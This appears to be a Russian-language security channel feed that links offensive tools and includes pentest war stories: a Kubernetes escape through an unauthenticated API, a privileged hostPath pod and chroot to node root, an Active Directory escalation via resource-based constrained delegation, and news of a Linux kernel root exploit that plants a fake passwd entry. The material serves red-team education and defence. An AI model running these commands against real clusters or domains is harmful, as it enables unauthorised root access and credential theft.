🔗Ссылка:
https://github.com/s0ld13rr/jdwp-knife

🔗Ссылка:
https://codeby.net/threads/sertifikatsiya-po-pentestu-oscp-vs-ceh-vs-ejpt-vs-pnpt-chestnoye-sravneniye-ot-praktika.92610/

🔗Ссылка:
https://github.com/AabyssZG/HashDump-BypassEDR

🔗Ссылка:
https://github.com/adnxy/rnsec

🔗Ссылка:
https://habr.com/ru/articles/1033530/

🔗Ссылка:
https://habr.com/ru/articles/1033468/

Мы уже рассказывали, как наши пентестеры находят и анализируют кластеры Kubernetes. А сегодня — история о том, какие интересные доступы можно получить через такие кластеры.

На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с common name: system:kube-apiserver. Похоже, это нода кластера Kubernetes c Kubernetes API?

К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:

proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets

Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах.

Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):

apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: null
  labels:
    run: <my-pod>
  name: <my-pod>
spec:
  volumes:
  - name: host-filesystem
    hostPath:
      path: /
  containers:
  - command:
    - sleep
    - 2d
    image: <link_to_image>
    name: <my-pod>
    volumeMounts:
    - mountPath: /mnt/
      name: host-filesystem
    resources: {}
    securityContext:
      privileged: true
      runAsUser: 0
  dnsPolicy: ClusterFirst
  restartPolicy: Always
  nodeName: <node_name>
  hostNetwork: true
  hostPID: true
  hostIPC: true
status: {}

Команда для создания пода:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>

После создания пода запустили bash и изменили корневую директорию на корневую директорию ноды:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash

chroot /mnt

Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными nodeName для исполнения на каждой ноде.

После получения привилегированного доступа на одной из нод в файле /opt/some-service/config.yaml была обнаружена ссылка на файл в репозитории:

https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java

А в директории /home/some-user/.ssh/ был обнаружен файл с приватным SSH-ключом identity.bitbucket.domain.local. Мы склонировали этот репозиторий и поискали в нем упоминания других. Нашлось 89 репозиториев.

git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back

К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом.

Выводы:

Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ.

Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать.

Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз.

Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка:
https://habr.com/ru/articles/1032726/

MiniPlasma (Windows unpatched LPE)

CVE-2020-17103 was apparently not patched or the patch was reversed, regardless this the PoC for an LPE in cldflt.sys, weaponized to spawn a SYSTEM shell. Success rate may vary since it's a race condition.

Ресурс redteam.community продолжает развиваться, и вот недавно там появился раздел с конференциями, где собирают все доклады с прошедших ивентов, и есть анонсы на будущие))

Еще там много других ресурсов, лаб, а в разработке новые разделы, так что можно следить)

#info

🔗Ссылка:
https://codeby.net/threads/sotsial-naya-inzheneriya-metody-atak-i-prakticheskaya-zashchita.92632/

Всем хак! 👋
Некоторое время я отсутствовал — были непростые дни, потому что я сдавал экзамен CPTS от HackTheBox. Но главная цель этого поста — поблагодарить тех, кто поддерживал меня по‑разному. Каждый из вас знает, за что ему спасибо 👾

Огромная благодарность:
- Lolechka
- Arrsi
- .Morttyyy
- TryNet
- Ohiko
P.S. Ваша помощь бесценна — спасибо!

Также печальная новость: сервер наших партнёров Linux Team внезапно исчез — прошу вас заглянуть к ним и поддержать в восстановлении

Отдельное спасибо всему сообществу Fsecurity 🫡

Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈

Сегодня расскажем ещё одну поучительную историю из практики наших пентестов.

Однажды на проекте мы сами себе создали задачу: у нас было RCE от SYSTEM на контроллере домена, но мы не хотели создавать новые учетные записи или добавлять существующие в администраторы домена. А получить привилегии админа было нужно. Мы придумали несколько решений, и хотя не все они сработали, это был интересный опыт.

Условия задачи:

— Есть исполнение на доменном хосте от SYSTEM и NT-хеш пароля этого хоста.
— Есть привилегии администратора домена в корневом домене в другом лесу AD (двухстороние трасты).
— Есть RCE на контроллере домена (уязвимость в Veritas Backup Exec Agent). Не очень удобно исполнять команды (нет вывода), но можно читать и записывать файлы, запись через экплойт очень медленная.
— Есть возможность подключения по SSH на linux-хост (без root-а).
— Настрой на то, что чем меньше изменений и чем меньше придется чистить затем заказчику, тем лучше.

Варианты решения:

1. Запустить агента Mythic

— c SYSVOL на контроллере домена в другом лесу. Результат: ошибка Access Denied.
— загрузить файл с агентом Mythic через эксплойт. Результат: запустить удалось, но правила файрвола не позволили установить ни bind, ни реверс-соединение.

2. Получить сертификат

— выгрузить сертификат с приватным ключом из хранилища (командлеты Get-ChildItem -Path Cert:\CurrentUser\My\ для получения списка и Export-PfxCertificate для экспорта). Результат: не было сертификатов, для которых разрешен экспорт приватного ключа.
— запросить новый сертификат. Результат: проанализировали шаблоны сертификатов и не нашли такого, чтобы контроллер мог запросить сертификат, использовать его для аутентификации и с возможностью экспорта приватного ключа.

3. Unconstrained delegation

Так как уже были привилегии админа домена в другом лесу, а для контроллеров домена настроено неограниченное делегирование, можно было бы попробовать. Но в trustAttributes не было флага, разрешающего делегирование. Так что даже не пробовали.

4. Прочитать пароль LAPS

Некоторые учетные записи компьютеров имели много привилегий (например, Exchange-сервера или центр сертификации) и получение привилегий админов на этих хостах могло бы помочь продвинуться дальше. Но модули с командлетами Get-LapsADPassword и Get-AdmPwdPassword не были установлены.

5. Релеи

Это была скоре абстрактная идея. Linux-хостов с root-ом не было, и освобождать 445 порт на доменном хосте не хотелось. А служба WebClient для коерса на другой порт на контроллере не была установлена. Кроме того, на LDAP требовалась подпись, а шаблонов сертификатов, подходящих для ESC8, не было.

6. Сохранить учетные данные из реестра

С помощью reg save или Silent Harvester можно было получить учетные данные из реестра. Получили бы NT-хеш контроллера домена и могли бы сделать DCSync. Но пришлось бы сохранять файлы в SYSVOL, чтобы получить к ним доступ с имеющейся учеткой.

7. Resource-based Constrained Delegation

Так как у нас была скомпрометированная учетная запись хоста (её NT-хеш), удалось провести атаку на ограниченное делегирование на основе ресурсов. Модифицировать msDS-AllowedToActOnBehalfOfOtherIdentity учетной записи контроллера:

Set-ADComputer -Identity DC_Name -Properties PrincipalsAllowedToDelegateToAccount owned$

И затем сгенерировать TGS с имперсонацией учетной записи администратора домена или другого контроллера домена. Результат: успех.

8. Rubeus и т.п.

Можно было бы загрузить на контроллер Rubeus или другие утилиты для дампа Kerberos-билетов, но после проверки идеи (1) мы поняли, что загрузить файл будет непросто.

Мораль:
Даже очень простая (на первый взгляд) задача "от RCE на контроллере до администратора домена" может иметь множество решений, если не пойти по первому пришедшему на ум пути.

GRO Frag - седьмая уязвимость класса Copy Fail, предоставляющая права root в Linux

В открытом доступе размещён эксплоит для седьмой уязвимости (1, 2-3, 4, 5, 6) в ядре Linux, позволяющей непривилегированному локальному пользователю получить права root, перезаписав данные в страничном кэше. CVE-идентификатор ещё не присвоен, кроме кода эксплоита информации о проблеме пока нет. Исправление доступно только в виде патча, который опубликован 20 мая и 21 мая был принят в основную ветку ядра Linux (корректирующие выпуски ядра ещё недоступны).

Уязвимость присутствует в реализации технологии GRO (Generic Receive Offload), применяемой для ускорения обработки сегментированных пакетов. Уязвимость вызвана ошибкой в реализации механизма zerocopy в функции skb_gro_receive(), осуществляющей прямое изменение данных в страничном кэше для исключения лишней буферизации. При установленном флаге SKBFL_MANAGED_FRAG_REFS пропускалось сохранение ссылки на освобождаемые страницы памяти в поле shinfo->frags, после чего данное поле присоединялось к другому skb без изменения счётчика ссылок, что приводило к обращению к памяти после её освобождения (use-after-free).

Проблему удалось эксплуатировать для перезаписи данных в страничном кэше, благодаря манипуляции с указателем на буфер io_uring.
Атака возможна на системы с включённой подсистемой io_uring (io_uring_disabled=0). Для работы эксплоита в системе должен быть доступный на чтение исполняемый файл с флагом SUID-root. Механизм эксплуатации сводится к тому, что атакующий добивается оседания базы пользователей в страничном кэше, после чего подставляет в кэш строку "hax::0:0::/root:/bin/sh". Следом запускается команда "su hax", которая получает не оригинальную базу пользователей с накопителя, а изменённую копию с подставным логином "hax", которому выставлены права root и пустой пароль. Работа эксплоита протестирована в Ubuntu 24.04.

🔗 Ссылка:
https://opennet.me/65504/

🔗 Ссылка:
https://github.com/k1ng0fn0th1ng/CrystalForge

🔗Ссылка:
https://github.com/kiddo-pwn/ffffirefox